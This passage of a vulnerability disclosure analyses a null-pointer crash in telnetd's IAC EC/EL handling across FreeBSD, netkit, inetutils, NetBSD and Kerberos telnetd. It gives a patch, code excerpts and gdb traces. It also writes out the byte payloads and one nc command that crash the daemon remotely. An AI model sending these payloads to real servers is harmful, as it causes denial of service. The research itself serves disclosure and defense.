<span style="color: #666666">235</span>                                         <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">236</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">237</span>                             }
</pre></div>

<p>The resulting patch is:</p>
<pre><code>freebsd-13-1p1# diff -u -p ./usr/src/contrib/telnet/telnetd/state.c /usr/src/contrib/telnet/telnetd/state.c
--- ./usr/src/contrib/telnet/telnetd/state.c    2022-05-12 05:53:58.000000000 +0100
+++ /usr/src/contrib/telnet/telnetd/state.c 2022-08-21 09:41:09.699357000 +0100
@@ -215,16 +215,22 @@ gotiac:           switch (c) {
            case EC:
            case EL:
                {
-               cc_t ch;
+               cc_t ch = (cc_t)_POSIX_VDISABLE;

                DIAG(TD_OPTIONS,
                    printoption("td: recv IAC", c));
                ptyflush(); /* half-hearted */
                init_termbuf();
                if (c == EC)
-                   ch = *slctab[SLC_EC].sptr;
+               {
+                   if (slctab[SLC_EC].sptr)
+                       ch = *slctab[SLC_EC].sptr;
+               }
                else
-                   ch = *slctab[SLC_EL].sptr;
+               {
+                   if (slctab[SLC_EL].sptr)
+                       ch = *slctab[SLC_EL].sptr;
+               }
                if (ch != (cc_t)(_POSIX_VDISABLE))
                    *pfrontp++ = (unsigned char)ch;
                break;
freebsd-13-1p1#
</code></pre>
<p>We tested the patch and it works.</p>
<p><a id="remote-dos-bonus-points"></a></p>
<h3>Bonus points</h3>
<p>Telnet supports secure mode. This mode is also vulnerable in FreeBSD as shown below:</p>
<p><code>/usr/src/crypto/heimdal/appl/telnet/telnetd/state.c</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">79</span> <span style="color: #B00040">void</span>
 <span style="color: #666666">80</span> <span style="color: #0000FF">telrcv</span>(<span style="color: #B00040">void</span>)
 <span style="color: #666666">81</span> {
 <span style="color: #666666">82</span>     <span style="color: #B00040">int</span> c;
 <span style="color: #666666">83</span>     <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
 <span style="color: #666666">84</span>
 <span style="color: #666666">85</span>     <span style="color: #008000; font-weight: bold">while</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {  
 <span style="color: #666666">86</span>         <span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #666666">&amp;</span>ptyobuf[BUFSIZ] <span style="color: #666666">-</span> pfrontp) <span style="color: #666666">&lt;</span> <span style="color: #666666">2</span>)
 <span style="color: #666666">87</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">88</span>         c <span style="color: #666666">=</span> <span style="color: #666666">*</span>netip<span style="color: #666666">++</span> <span style="color: #666666">&amp;</span> <span style="color: #666666">0377</span>, ncc<span style="color: #666666">--</span>;
 <span style="color: #666666">89</span> <span style="border: 1px solid #FF0000">#</span>ifdef ENCRYPTION
 <span style="color: #666666">90</span>         <span style="color: #008000; font-weight: bold">if</span> (decrypt_input)
 <span style="color: #666666">91</span>             c <span style="color: #666666">=</span> (<span style="color: #666666">*</span>decrypt_input)(c);
 <span style="color: #666666">92</span> <span style="border: 1px solid #FF0000">#</span>endif
 <span style="color: #666666">93</span>         <span style="color: #008000; font-weight: bold">switch</span> (state) {
...
<span style="color: #666666">189</span>         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">190          * Erase Character and</span>
<span style="color: #408080; font-style: italic">191          * Erase Line</span>
<span style="color: #408080; font-style: italic">192          */</span>
<span style="color: #666666">193</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">194</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">195</span>             {
<span style="color: #666666">196</span>                 cc_t ch;
<span style="color: #666666">197</span> 
<span style="color: #666666">198</span>                 DIAG(TD_OPTIONS,
<span style="color: #666666">199</span>                      printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">200</span>                 ptyflush();     <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">201</span>                 init_termbuf();
<span style="color: #666666">202</span>                 <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">203</span>                     ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">204</span>                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">205</span>                     ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">206</span>                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
<span style="color: #666666">207</span>                     <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">208</span>                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">209</span>             }
</pre></div>

<p><a id="remote-dos-netkit-telnet-0.17"></a></p>
<h3>netkit-telnet-0.17</h3>
<p>The same behavior can be observed with netkit-telnet-0.17 under Linux, while sending the same payloads (<code>\xff\xf7</code> or <code>\xff\xf8</code>):</p>
<pre><code>gentoo% (sleep 10 ; printf "\xff\xf7") | nc -n -v localhost 23
</code></pre>
<p>And debugging with gdb on Gentoo:</p>
<pre><code>gentoo% gdb -p `pidof in.telnetd`
GNU gdb (Gentoo 11.2 vanilla) 11.2
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&lt;https://bugs.gentoo.org/&gt;.
Find the GDB manual and other documentation resources online at:
    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 20328
Reading symbols from /usr/sbin/telnetd...
Reading symbols from /lib64/libncurses.so.6...
(No debugging symbols found in /lib64/libncurses.so.6)
Reading symbols from /lib64/libc.so.6...
Reading symbols from /lib64/libtinfo.so.6...
(No debugging symbols found in /lib64/libtinfo.so.6)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x00007f1973c68a9e in __GI___libc_read (fd=0, buf=0x55640e1a6ec0 &lt;netibuf&gt;, nbytes=8192) at ../sysdeps/unix/sysv/linux/read.c:26
26  ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000055640e198d37 in telrcv () at /tmp/telnet/netkit-telnet-0.17/telnetd/state.c:211
211              if (c == EC) ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000055640e198d37 in telrcv () at /tmp/telnet/netkit-telnet-0.17/telnetd/state.c:211
#1  0x000055640e19d553 in ttloop () at /tmp/telnet/netkit-telnet-0.17/telnetd/utility.c:92
#2  0x000055640e19bf53 in getterminaltype (name=0x7fffa7941730 "") at /tmp/telnet/netkit-telnet-0.17/telnetd/telnetd.c:484
#3  0x000055640e19c66f in doit (who=0x7fffa7941880, who_len=16) at /tmp/telnet/netkit-telnet-0.17/telnetd/telnetd.c:722
#4  0x000055640e19bdb7 in main (argc=0, argv=0x7fffa7941a40, env=0x7fffa7941a48) at /tmp/telnet/netkit-telnet-0.17/telnetd/telnetd.c:402
(gdb) list
206 {
207   cc_t ch;
208   DIAG(TD_OPTIONS, printoption("td: recv IAC", c));
209   ptyflush();  /* half-hearted */
210   init_termbuf();
211   if (c == EC) ch = *slctab[SLC_EC].sptr;
212   else ch = *slctab[SLC_EL].sptr;
213   if (ch != (cc_t)(_POSIX_VDISABLE))
214       *pfrontp++ = (unsigned char)ch;
215   break;
(gdb) p slctab[10].sptr
$1 = (cc_t *) 0x0
</code></pre>
<p>We can recognize the same vulnerable function in <code>netkit-telnet-0.17/telnetd/state.c</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">81</span>   <span style="color: #B00040">void</span> <span style="color: #0000FF">telrcv</span>(<span style="color: #B00040">void</span>) {
 <span style="color: #666666">82</span>     <span style="color: #008000; font-weight: bold">register</span> <span style="color: #B00040">int</span> c;
 <span style="color: #666666">83</span>     <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
 <span style="color: #666666">84</span> 
 <span style="color: #666666">85</span>     <span style="color: #008000; font-weight: bold">while</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
 <span style="color: #666666">86</span>     <span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #666666">&amp;</span>ptyobuf[BUFSIZ] <span style="color: #666666">-</span> pfrontp) <span style="color: #666666">&lt;</span> <span style="color: #666666">2</span>) <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">87</span>     c <span style="color: #666666">=</span> <span style="color: #666666">*</span>netip<span style="color: #666666">++</span> <span style="color: #666666">&amp;</span> <span style="color: #666666">0377</span>;
 <span style="color: #666666">88</span>     ncc<span style="color: #666666">--</span>;
...
<span style="color: #666666">200</span>           <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">201               * Erase Character and</span>
<span style="color: #408080; font-style: italic">202               * Erase Line</span>
<span style="color: #408080; font-style: italic">203               */</span>
<span style="color: #666666">204</span>           <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">205</span>           <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">206</span>          {
<span style="color: #666666">207</span>              cc_t ch;
<span style="color: #666666">208</span>              DIAG(TD_OPTIONS, printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">209</span>              ptyflush();    <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">210</span>              init_termbuf();
<span style="color: #666666">211</span>              <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC) ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr;   <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">212</span>              <span style="color: #008000; font-weight: bold">else</span> ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr;           <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">213</span>              <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
<span style="color: #666666">214</span>              <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">215</span>              <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">216</span>          }
<span style="color: #666666">217</span>           
</pre></div>

<p><a id="remote-dos-inetutils"></a></p>
<h3>Inetutils</h3>
<p>Inetutils can be found here:
<a href="https://git.savannah.gnu.org/cgit/inetutils.git/snapshot/inetutils-2.3.tar.gz">https://git.savannah.gnu.org/cgit/inetutils.git/snapshot/inetutils-2.3.tar.gz</a>.</p>
<p>Again, we can recognize the similar vulnerable code in <code>inetutils-2.3/telnetd/state.c</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">190</span> <span style="color: #B00040">void</span>
<span style="color: #666666">191</span> <span style="color: #0000FF">telrcv</span> (<span style="color: #B00040">void</span>)
<span style="color: #666666">192</span> {
<span style="color: #666666">193</span>   <span style="color: #008000; font-weight: bold">register</span> <span style="color: #B00040">int</span> c;
<span style="color: #666666">194</span>   <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
<span style="color: #666666">195</span> 
<span style="color: #666666">196</span>   <span style="color: #008000; font-weight: bold">while</span> ((net_input_level () <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) <span style="color: #666666">&amp;</span> <span style="color: #666666">!</span>pty_buffer_is_full ())
<span style="color: #666666">197</span>     {
<span style="color: #666666">198</span>       c <span style="color: #666666">=</span> net_get_char (<span style="color: #666666">0</span>);
...
<span style="color: #666666">203</span>       <span style="color: #008000; font-weight: bold">switch</span> (state)
<span style="color: #666666">204</span>         {
...
<span style="color: #666666">213</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_DATA</span>:
<span style="color: #666666">214</span>           <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> IAC)
<span style="color: #666666">215</span>             {
<span style="color: #666666">216</span>               state <span style="color: #666666">=</span> TS_IAC;
<span style="color: #666666">217</span>               <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">218</span>             }
...
<span style="color: #666666">260</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_IAC</span>:
<span style="color: #666666">261</span>         <span style="color: #A0A000">gotiac</span>:
<span style="color: #666666">262</span>           <span style="color: #008000; font-weight: bold">switch</span> (c)
<span style="color: #666666">263</span>             {
...
<span style="color: #666666">308</span>               <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">309                * Erase Character and</span>
<span style="color: #408080; font-style: italic">310                * Erase Line</span>
<span style="color: #408080; font-style: italic">311                */</span>
<span style="color: #666666">312</span>             <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">313</span>             <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">314</span>               {
<span style="color: #666666">315</span>                 cc_t ch;
<span style="color: #666666">316</span> 
<span style="color: #666666">317</span>                 DEBUG (debug_options, <span style="color: #666666">1</span>, printoption (<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">318</span>                 ptyflush ();    <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">319</span>                 init_termbuf ();
<span style="color: #666666">320</span>                 <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">321</span>                   ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr;
<span style="color: #666666">322</span>                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">323</span>                   ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr;
<span style="color: #666666">324</span>                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t) (_POSIX_VDISABLE))
<span style="color: #666666">325</span>                   pty_output_byte ((<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>) ch);
<span style="color: #666666">326</span>                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">327</span>               }
...
</pre></div>

<p>We tested Inetutils under Debian and found it also vulnerable. Using the <code>inetutils-telnetd</code> package in Debian 10.4.0, telnetd will segfault when receiving <code>\xff\xf7</code> or <code>\xff\xf8</code>:</p>
<p>Under AMD64:</p>
<pre><code># uname -ap
Linux debian 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64 GNU/Linux
# dmesg | grep telnetd
[ 1217.948086] telnetd[17254]: segfault at 0 ip 0000561ae3f92311 sp 00007ffdfb57b650 error 4 in telnetd[561ae3f8b000+15000]
</code></pre>
<p>Under i386:</p>
<pre><code># uname -ap
Linux debian 5.10.0-16-686 #1 SMP Debian 5.10.127-1 (2022-06-30) i686 GNU/Linux
# dmesg | grep telnetd
[ 1432.883806] telnetd[16847]: segfault at 0 ip 004fa8e4 sp bfbb8290 error 4 in telnetd[4f3000+15000]
</code></pre>
<p><a id="remote-dos-netbsd-telnetd"></a></p>
<h3>NetBSD-telnetd</h3>
<p>We tested the telnetd server in NetBSD and found it also vulnerable. The code is available at <a href="http://ftp.netbsd.org/pub/NetBSD/NetBSD-current/src/libexec/telnetd/state.c">http://ftp.netbsd.org/pub/NetBSD/NetBSD-current/src/libexec/telnetd/state.c</a>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">85</span> <span style="color: #B00040">void</span>
 <span style="color: #666666">86</span> <span style="color: #0000FF">telrcv</span>(<span style="color: #B00040">void</span>)
 <span style="color: #666666">87</span> {
 <span style="color: #666666">88</span>         <span style="color: #B00040">int</span> c;
 <span style="color: #666666">89</span>         <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
 <span style="color: #666666">90</span> 
 <span style="color: #666666">91</span>         <span style="color: #008000; font-weight: bold">while</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
 <span style="color: #666666">92</span>                 <span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #666666">&amp;</span>ptyobuf[BUFSIZ] <span style="color: #666666">-</span> pfrontp) <span style="color: #666666">&lt;</span> <span style="color: #666666">2</span>)
 <span style="color: #666666">93</span>                         <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">94</span>                 c <span style="color: #666666">=</span> <span style="color: #666666">*</span>netip<span style="color: #666666">++</span> <span style="color: #666666">&amp;</span> <span style="color: #666666">0377</span>, ncc<span style="color: #666666">--</span>;
...
<span style="color: #666666">109</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_DATA</span>:
<span style="color: #666666">110</span>                         <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> IAC) {
<span style="color: #666666">111</span>                                 state <span style="color: #666666">=</span> TS_IAC;
<span style="color: #666666">112</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">113</span>                         }
...
<span style="color: #666666">153</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_IAC</span>:
<span style="color: #666666">154</span> <span style="color: #A0A000">gotiac</span>:                 <span style="color: #008000; font-weight: bold">switch</span> (c) {
...
<span style="color: #666666">206</span>                         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">207                          * Erase Character and</span>
<span style="color: #408080; font-style: italic">208                          * Erase Line</span>
<span style="color: #408080; font-style: italic">209                          */</span>
<span style="color: #666666">210</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">211</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">212</span>                             {
<span style="color: #666666">213</span>                                 cc_t ch;
<span style="color: #666666">214</span> 
<span style="color: #666666">215</span>                                 DIAG(TD_OPTIONS,
<span style="color: #666666">216</span>                                         printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">217</span>                                 ptyflush();     <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">218</span>                                 init_termbuf();
<span style="color: #666666">219</span>                                 <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">220</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">221</span>                                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">222</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">223</span>                                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
<span style="color: #666666">224</span>                                         <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">225</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">226</span>                             }
</pre></div>

<p>While testing NetBSD 9.3/amd64, telnetd will segfault, as usual in the <code>telrcv</code> function:</p>
<pre><code># uname -ap
NetBSD netbsd 9.3 NetBSD 9.3 (GENERIC) #0: Thu Aug  4 15:30:37 UTC 2022  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64 x86_64
# ps -auxww|grep telnet
root    882  0.0  0.0 50312  4068 ?     S     4:15PM 0:00.02 telnetd -a valid
root    755  0.0  0.0 21652  1324 pts/1 O+    4:15PM 0:00.00 grep telnet
# gdb -p 882
GNU gdb (GDB) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
...
[Switching to LWP 1 of process 882]
0x0000768c9d242c6a in read () from /usr/lib/libc.so.12
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000000012fe06f4c in telrcv ()
(gdb) q
A debugging session is active.

        Inferior 1 [process 882] will be detached.

Quit anyway? (y or n) y
Detaching from program: /usr/libexec/telnetd, process 882
[Inferior 1 (process 882) detached]
</code></pre>
<p><a id="remote-dos-kerberos-telnetd-latest-version"></a></p>
<h3>Telnetd in Kerberos Version 5 Applications - latest version</h3>
<p>Using the master branch of <a href="https://github.com/krb5/krb5-appl">https://github.com/krb5/krb5-appl</a>, with a 13-year old <code>state.c</code> file, we can confirm the vulnerabilities are also present:</p>
<pre><code>Program received signal SIGSEGV, Segmentation fault.
0x000055555555c1bd in telrcv () at state.c:237
237      ch = *slctab[SLC_EC].sptr;
(gdb) bt
#0  0x000055555555c1bd in telrcv () at state.c:237
#1  0x000055555555d54d in ttsuck () at utility.c:153
#2  0x0000555555559fc3 in getterminaltype (name=0x7fffffffdc80 "") at telnetd.c:727
#3  doit (who=who@entry=0x7fffffffe2e0) at telnetd.c:1025
#4  0x0000555555558e82 in main (argc=&lt;optimized out&gt;, argv=&lt;optimized out&gt;) at telnetd.c:644
</code></pre>
<p>The vulnerable part in <code>state.c</code> has not been changed since the initial commit but we would like to confirm that the vulnerabilities existed for 30 years.</p>
<p>In the next section, we will analyze the initial commit:</p>
<p><a id="remote-dos-kerberos-telnetd-initial-version"></a></p>
<h3>Telnetd in Kerberos Version 5 Applications - initial version</h3>
<p>The code of Telnetd in Kerberos Version 5 Applications is vulnerable in the initial version. The first commit from 1991 was vulnerable as shown below.</p>
<p>This is likely the source of these 2 vulnerabilities that have been then copied into several forks over the years.</p>
<p><a href="https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218">https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd/state.c#L218</a>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">79</span>         <span style="color: #B00040">void</span>
 <span style="color: #666666">80</span> <span style="color: #0000FF">telrcv</span>()
 <span style="color: #666666">81</span> {
 <span style="color: #666666">82</span>         <span style="color: #008000; font-weight: bold">register</span> <span style="color: #B00040">int</span> c;
 <span style="color: #666666">83</span>         <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
 <span style="color: #666666">84</span> <span style="border: 1px solid #FF0000">#</span><span style="color: #008000; font-weight: bold">if</span>     defined(CRAY2) <span style="color: #666666">&amp;&amp;</span> defined(UNICOS5)
 <span style="color: #666666">85</span>         <span style="color: #B00040">char</span> <span style="color: #666666">*</span>opfrontp <span style="color: #666666">=</span> pfrontp;
 <span style="color: #666666">86</span> <span style="border: 1px solid #FF0000">#</span>endif
 <span style="color: #666666">87</span> 
 <span style="color: #666666">88</span>         <span style="color: #008000; font-weight: bold">while</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
 <span style="color: #666666">89</span>                 <span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #666666">&amp;</span>ptyobuf[BUFSIZ] <span style="color: #666666">-</span> pfrontp) <span style="color: #666666">&lt;</span> <span style="color: #666666">2</span>)
 <span style="color: #666666">90</span>                         <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">91</span>                 c <span style="color: #666666">=</span> <span style="color: #666666">*</span>netip<span style="color: #666666">++</span> <span style="color: #666666">&amp;</span> <span style="color: #666666">0377</span>, ncc<span style="color: #666666">--</span>;
...
 <span style="color: #666666">96</span>                 <span style="color: #008000; font-weight: bold">switch</span> (state) {
...
<span style="color: #666666">106</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_DATA</span>:
<span style="color: #666666">107</span>                         <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> IAC) {
<span style="color: #666666">108</span>                                 state <span style="color: #666666">=</span> TS_IAC;
<span style="color: #666666">109</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">110</span>                         }
...
<span style="color: #666666">150</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_IAC</span>:
<span style="color: #666666">151</span> <span style="color: #A0A000">gotiac</span>:                 <span style="color: #008000; font-weight: bold">switch</span> (c) {
...
<span style="color: #666666">204</span>                         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">205                          * Erase Character and</span>
<span style="color: #408080; font-style: italic">206                          * Erase Line</span>
<span style="color: #408080; font-style: italic">207                          */</span>
<span style="color: #666666">208</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">209</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">210</span>                             {
<span style="color: #666666">211</span>                                 cc_t ch;
<span style="color: #666666">212</span> 
<span style="color: #666666">213</span>                                 DIAG(TD_OPTIONS,
<span style="color: #666666">214</span>                                         printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">215</span>                                 ptyflush();     <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">216</span>                                 init_termbuf();
<span style="color: #666666">217</span>                                 <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">218</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">219</span>                                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">220</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">221</span>                                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
<span style="color: #666666">222</span>                                         <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">223</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">224</span>                             }
</pre></div>

<p>From the <code>README</code> file available at
<a href="https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README">https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/README</a>, this solution is not really recent.</p>
<p>The date included in the <code>README</code> file is February 22, 1991 but the <code>krb5-appl/telnet/telnetd/state.c</code> file indicates <code>@(#)state.c     5.12 (Berkeley) 1/19/93</code>.</p>
<p>The supported Operating Systems listed in the <code>README</code> file are also very old:</p>
<pre><code>This is a distribution of both client and server telnet.  These programs
have been compiled on:
                        telnet  telnetd 
        BSD 4.3 Reno      X       X
        UNICOS 5.1        X       X
        UNICOS 6.0        X       X
        UNICOS 6.1        X       X
        UNICOS 7.0        X       X
        SunOs 3.5         X       X (no linemode in server) 
        SunOs 4.1         X       X (no linemode in server) 
        DYNIX V3.0.17.9   X       X (no linemode in server) 
        Ultrix 3.1        X       X (no linemode in server) 
        Ultrix 4.0        X       X (no linemode in server)

In addition, previous versions have been compiled on the following
machines, but were not available for testing this version.
                        telnet  telnetd 
        Next1.0           X       X
        UNICOS 5.0        X       X
        SunOs 4.0.3c      X       X (no linemode in server) 
        BSD 4.3           X       X (no linemode in server) 
        DYNIX V3.0.12     X       X (no linemode in server)
</code></pre>
<p>Back to FreeBSD to compile and test this initial version of Telnetd in Kerberos Version 5 Applications.</p>
<p>On a side note, it was confirmed the <code>telnetd</code> server shipped in FreeBSD 3.2 is vulnerable to the same vulnerabilities, as shown below:</p>
<pre><code>myname# uname -ap
FreeBSD myname.my.domain 3.2-RELEASE FreeBSD 3.2-RELEASE #0: Tue May 18 04:05:08 GMT 1999     jkh@cathair:/usr/src/sys/compile/GENERIC  i386
myname# dmesg | grep telnet
pid 291 (telnetd), uid 0: exited on signal 11 (core dumped) 
pid 297 (telnetd), uid 0: exited on signal 11 (core dumped) 
pid 303 (telnetd), uid 0: exited on signal 11 (core dumped)
